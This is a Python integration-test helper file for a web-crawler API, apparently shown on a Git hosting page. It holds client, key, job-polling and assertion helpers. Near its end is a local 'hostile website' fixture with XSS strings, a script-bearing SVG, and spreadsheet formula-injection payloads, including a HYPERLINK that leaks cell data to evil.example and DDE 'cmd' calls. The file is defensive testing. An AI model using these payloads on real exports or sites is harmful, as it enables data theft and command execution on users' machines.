SPB Git

Repository Public

apihelpers.py 14.4 KB 323 lines python

1# =============================================================================2#                  SP BOUCHER | SOFTWARE & RESEARCH3#             ARTIFICIAL INTELLIGENCE • FINANCE • ENGINEERING4# =============================================================================5#6# Project          : SPIDER — Universal Web Intelligence Engine7# File             : tests/integration/apihelpers.py8# Module           : Tests9# Repository       : https://git.spboucher.ai/spider10# Project Website  : Not specified11# Created          : 2026-12-0412# Last Modified    : 2026-12-0413#14# Author           : Simon-Pierre Boucher15# Position         : Professor of Finance16# Institution      : Université du Québec en Outaouais (UQO)17# Organization     : SP Boucher18# Website          : https://spboucher.ai19# Git              : https://git.spboucher.ai20#21# Preferred Contact: contact@spboucher.ai22# Development      : dev@spboucher.ai23# Support          : support@spboucher.ai24# Security/Admin   : admin@spboucher.ai25#26# Copyright (c) 202627# Simon-Pierre Boucher28# All rights reserved where applicable. This file is governed by the29# applicable project license, copyright notices and relevant law.30# Existing third-party rights and notices remain unaffected.31#32# License          : ISC33#34# Do not embed credentials, private keys, access tokens,35# certificates or confidential personal information.36#37# =============================================================================38# END OF SP BOUCHER SOURCE HEADER39# =============================================================================4041"""Helpers shared by the API, security and storage acceptance tests (no fixtures here).4243Everything goes through the real gateway started by the `stack` fixture; the database is touched44directly only to create what the API cannot create by itself (a second tenant, an expired key) or45to inspect what the API must not reveal (stored hashes, row counts).46"""47import asyncio48import hashlib49import re50import uuid5152import httpx5354UTC_Z = re.compile(r"^\d{4}-\d\d-\d\dT\d\d:\d\d:\d\d(\.\d{1,6})?Z$")55ERROR_KEYS = {"code", "message", "details", "request_id"}565758def client_for(stack, key: str | None = None, **kw) -> httpx.AsyncClient:59    """An HTTP client for another identity (or none). Closed together with the stack's own client."""60    headers = {"Authorization": f"Bearer {key}"} if key else {}61    c = httpx.AsyncClient(base_url=stack.base, headers=headers, timeout=60, **kw)62    extra = stack.__dict__.setdefault("_extra_clients", [])63    if not extra:64        orig = stack.client.aclose6566        async def aclose():67            for x in extra:68                await x.aclose()69            await orig()70        stack.client.aclose = aclose71    extra.append(c)72    return c737475async def make_key(stack, scopes, *, kind: str = "client", tenant_id: str | None = None, name: str | None = None,76                   ttl_days: int | None = None) -> tuple[str, str]:77    from spider import auth78    async with stack.orch.pool.acquire() as c:79        return await auth.create_key(c, tenant_id or stack.tenant_id, name or f"k-{uuid.uuid4().hex[:6]}",80                                     list(scopes), kind=kind, ttl_days=ttl_days)818283async def make_tenant(stack, name: str = "tenant-b", scopes=("read", "write", "admin", "metrics")):84    """Second tenant created the way conftest creates the first. Returns (tenant_id, key, client)."""85    async with stack.orch.pool.acquire() as c:86        tid = str(await c.fetchval("insert into tenants(name) values($1) returning id", name))87    _, key = await make_key(stack, scopes, tenant_id=tid, name=f"{name}-admin")88    return tid, key, client_for(stack, key)899091def assert_error(r: httpx.Response, status: int, code: str | None = None) -> dict:92    """Every 4xx carries {"error": {code, message, details, request_id}} and nothing else."""93    assert r.status_code == status, f"{r.request.method} {r.request.url} -> {r.status_code} {r.text[:400]}"94    body = r.json()95    assert set(body) == {"error"}, body96    e = body["error"]97    assert set(e) == ERROR_KEYS, e98    assert isinstance(e["code"], str) and e["code"] and isinstance(e["message"], str) and e["message"]99    assert e["request_id"] and e["request_id"] == r.headers["x-request-id"]100    if code is not None:101        assert e["code"] == code, e102    return e103104105def walk(obj, path=""):106    """Yield (path, key, value) for every scalar of a JSON document."""107    if isinstance(obj, dict):108        for k, v in obj.items():109            if isinstance(v, (dict, list)):110                yield from walk(v, f"{path}.{k}")111            else:112                yield f"{path}.{k}", k, v113    elif isinstance(obj, list):114        for i, v in enumerate(obj):115            if isinstance(v, (dict, list)):116                yield from walk(v, f"{path}[{i}]")117            else:118                yield f"{path}[{i}]", "", v119120121def assert_utc_timestamps(doc, *, min_count: int = 1) -> int:122    """Every `*_at` value of an API document is null or an ISO-8601 UTC timestamp ending in Z."""123    n = 0124    for path, key, v in walk(doc):125        if key.endswith("_at") and v is not None:126            assert isinstance(v, str) and UTC_Z.match(v), f"{path} = {v!r} is not a UTC timestamp ending in Z"127            n += 1128    assert n >= min_count, f"only {n} timestamps found"129    return n130131132def is_uuid(v) -> bool:133    try:134        return str(uuid.UUID(str(v))) == str(v)135    except ValueError:136        return False137138139async def submit_crawl(stack, client=None, *, path: str = "/blog?page=1", max_pages: int = 8, max_depth: int = 1,140                       include: str | None = "^/blog", **extra) -> str:141    body = {"url": stack.url(path), "render": "http", "use_sitemaps": False,142            "budgets": {"max_pages": max_pages, "max_depth": max_depth},143            "extract": {"formats": ["markdown", "json", "text"]}} | extra144    if include:145        body.setdefault("policy", {})["include_paths"] = [include]146    r = await (client or stack.client).post("/v1/crawl", json=body)147    assert r.status_code == 202, r.text148    return r.json()["job_id"]149150151async def wait_job(client: httpx.AsyncClient, job_id: str, timeout: float = 60) -> dict:152    t0 = asyncio.get_running_loop().time()153    while True:154        j = (await client.get(f"/v1/jobs/{job_id}")).json()155        if j["status"] not in ("queued", "running"):156            return j157        if asyncio.get_running_loop().time() - t0 > timeout:158            raise AssertionError(f"job still {j['status']}: {j['progress']}")159        await asyncio.sleep(0.1)160161162async def finished_crawl(stack, client=None, **kw) -> dict:163    """A real multi-page crawl of the fixture blog, collected by a real worker."""164    if not stack.workers:165        await stack.start_worker()166    client = client or stack.client167    job = await wait_job(client, await submit_crawl(stack, client, **kw))168    assert job["status"] in ("succeeded", "partial"), job169    return job170171172async def all_results(client: httpx.AsyncClient, job_id: str, **params) -> list[dict]:173    items, cur = [], None174    while True:175        r = await client.get(f"/v1/jobs/{job_id}/results", params={"limit": 100} | params | ({"cursor": cur} if cur else {}))176        assert r.status_code == 200, r.text177        items += r.json()["items"]178        cur = r.json()["next_cursor"]179        if not cur:180            return items181182183def sha256(data: bytes) -> str:184    return hashlib.sha256(data).hexdigest()185186187async def db(stack, sql: str, *args, one: bool = False):188    async with stack.orch.pool.acquire() as c:189        return await (c.fetchval(sql, *args) if one else c.fetch(sql, *args))190191192async def until(pred, timeout: float = 15, step: float = 0.1, what: str = "condition"):193    """Poll an async predicate; returns its first truthy value."""194    t0 = asyncio.get_running_loop().time()195    while True:196        v = await pred()197        if v:198            return v199        if asyncio.get_running_loop().time() - t0 > timeout:200            raise AssertionError(f"timed out waiting for {what}")201        await asyncio.sleep(step)202203204class ManualWorker:205    """A worker driven step by step by a test, through the real internal API (register, lease, complete)."""206207    def __init__(self, stack, name: str = "manual", caps=("http",)):208        self.http = client_for(stack, stack.worker_key)209        self.name, self.caps, self.worker_id = name, list(caps), ""210211    async def register(self) -> "ManualWorker":212        r = await self.http.post("/internal/v1/workers/register", json={"name": self.name, "capabilities": self.caps,213                                                                         "concurrency": 4})214        assert r.status_code == 200, r.text215        self.worker_id = r.json()["worker_id"]216        return self217218    async def lease(self, n: int = 1, timeout: float = 10) -> list[dict]:219        async def once():220            r = await self.http.post(f"/internal/v1/workers/{self.worker_id}/lease", json={"max_tasks": n})221            assert r.status_code == 200, r.text222            return r.json()["tasks"]223        return await until(once, timeout=timeout, what="a task to lease")224225    async def heartbeat(self, task_ids=()) -> dict:226        r = await self.http.post(f"/internal/v1/workers/{self.worker_id}/heartbeat", json={"task_ids": list(task_ids)})227        assert r.status_code == 200, r.text228        return r.json()229230    async def complete(self, task: dict, result: dict) -> httpx.Response:231        return await self.http.post(f"/internal/v1/tasks/{task['task_id']}/complete", json={232            "worker_id": self.worker_id, "fencing_token": task["fencing_token"], "result": result, "kind": task["kind"]})233234235def page_result(url: str, links=(), text: str = "hello", title: str = "t") -> dict:236    """What a worker reports for one fetched HTML page (no artifacts)."""237    return {"ok": True, "status": 200, "final_url": url, "bytes": len(text), "pages": [{238        "engine": "http", "profile": "none", "url": url, "final_url": url, "status": 200, "title": title,239        "content_hash": sha256((url + text).encode()), "artifacts": [], "states": [], "text": text,240        "links": [{"url": u, "kind": "anchor", "text": "link"} for u in links]}]}241242243# --------------------------------------------------------------------------- a hostile website244# Served on the stack's second allowed port (`stack.hook_port`). The shared fixture site is friendly;245# these pages carry what an export or an artifact viewer must neutralise.246XSS_TITLE = "<script>alert(document.domain)</script> Clearance"247FORMULAS = {"eq": '=HYPERLINK("http://evil.example/?leak="&A1,"Click")', "plus": "+1+cmd|' /C calc'!A0",248            "minus": "-2+3+cmd|' /C calc'!A0", "at": "@SUM(1+9)*cmd|' /C calc'!A0"}249PII_EMAILS = ["jane.doe@example.org", "sales+quebec@boutique-example.ca"]250PII_PHONES = ["+1 (514) 555-0199", "819-555-0123", "418.555.0142"]251SVG = (b'<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg" width="10" height="10">'252       b'<script>alert(document.domain)</script><rect width="10" height="10"/></svg>')253254255def _html(title: str, body: str) -> str:256    import html257    return (f"<!doctype html><html lang=en><head><meta charset=utf-8><title>{html.escape(title)}</title></head>"258            f"<body><h1>{html.escape(title)}</h1>{body}</body></html>")259260261def hostile_pages() -> dict[str, tuple[str, bytes]]:262    import html263    pages = {264        "/": ("text/html; charset=utf-8", _html("Hostile index", "".join(265            f'<p><a href="{p}">{p}</a></p>' for p in ("/xss", "/pii", "/x.svg", *(f"/formula/{k}" for k in FORMULAS)))266            + "<p>" + "Plain paragraph of the index page, long enough to be kept as content. " * 4 + "</p>").encode()),267        "/xss": ("text/html; charset=utf-8", _html(XSS_TITLE, (268            "<p>Visible text with markup that must stay text: " + html.escape('<img src=x onerror=alert(1)>') + "</p>"269            '<script>document.title = "pwned"</script><p onclick="alert(2)">' + "Everything must go this week. " * 6270            + "</p>")).encode()),271        "/pii": ("text/html; charset=utf-8", _html("Contact us", (272            f"<p>Write to {PII_EMAILS[0]} or {PII_EMAILS[1]} for a quote about the ferry schedule.</p>"273            f"<p>Call {PII_PHONES[0]}, {PII_PHONES[1]} or {PII_PHONES[2]} during opening hours, every day.</p>"274            '<script type="application/ld+json">{"@context": "https://schema.org", "@type": "Product", "name": "Ferry pass", '275            '"sku": 5145550199, "gtin13": 4006381333931, "offers": {"@type": "Offer", "price": 8195550123, '276            '"priceCurrency": "CAD"}}</script><p>' + "Order reference 5145550199 is a number, not a phone. " * 3277            + "</p>")).encode()),278        "/x.svg": ("image/svg+xml", SVG),279        "/robots.txt": ("text/plain", b"User-agent: *\nAllow: /\n"),280    }281    for k, f in FORMULAS.items():282        pages[f"/formula/{k}"] = ("text/html; charset=utf-8", _html(f, "<p>" + f"Price list {k} for the season. " * 8 + "</p>").encode())283    return pages284285286async def start_hostile_site(stack):287    """Returns (base_url, close). Every page is static; requests are counted in `stack.hostile_hits`."""288    from aiohttp import web289    pages = hostile_pages()290    stack.hostile_hits = []291292    async def serve(request: web.Request):293        stack.hostile_hits.append(request.path)294        if request.path not in pages:295            raise web.HTTPNotFound()296        ctype, body = pages[request.path]297        return web.Response(body=body, headers={"Content-Type": ctype})298    app = web.Application()299    app.router.add_get("/{tail:.*}", serve)300    runner = web.AppRunner(app)301    await runner.setup()302    await web.TCPSite(runner, "127.0.0.1", stack.hook_port).start()303    return f"http://127.0.0.1:{stack.hook_port}", runner.cleanup304305306async def hostile_crawl(stack) -> tuple[dict, list[dict], str]:307    """Crawl the hostile site with a real worker. Returns (job, results, base_url)."""308    base, close = await start_hostile_site(stack)309    try:310        if not stack.workers:311            await stack.start_worker()312        r = await stack.client.post("/v1/crawl", json={313            "url": base + "/", "render": "http", "use_sitemaps": False, "budgets": {"max_pages": 20, "max_depth": 1},314            "extract": {"formats": ["markdown", "json", "text"],315                        "schema": {"type": "object", "properties": {"name": {"type": "string"}, "sku": {"type": "string"},316                                                                    "price": {"type": "number"}}}}})317        assert r.status_code == 202, r.text318        job = await wait_job(stack.client, r.json()["job_id"])319        assert job["status"] in ("succeeded", "partial"), job320        return job, await all_results(stack.client, job["job_id"]), base321    finally:322        await close()323
Files main
Menu

Theme